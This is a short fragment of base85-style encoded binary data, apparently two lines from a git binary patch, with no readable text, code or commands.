zWr^~@W-v;AgP8vq8VxC+7H+?1k57w6Cvh8@Bt<*wk-p4HQIWA$(S*!C{S6W~-pKv-
z%T()jvFJ}|tmG7}21u{gqeQz4R>z`$Ws!^aaEETs1=_sYh&;T3Us*h14dnD{!~2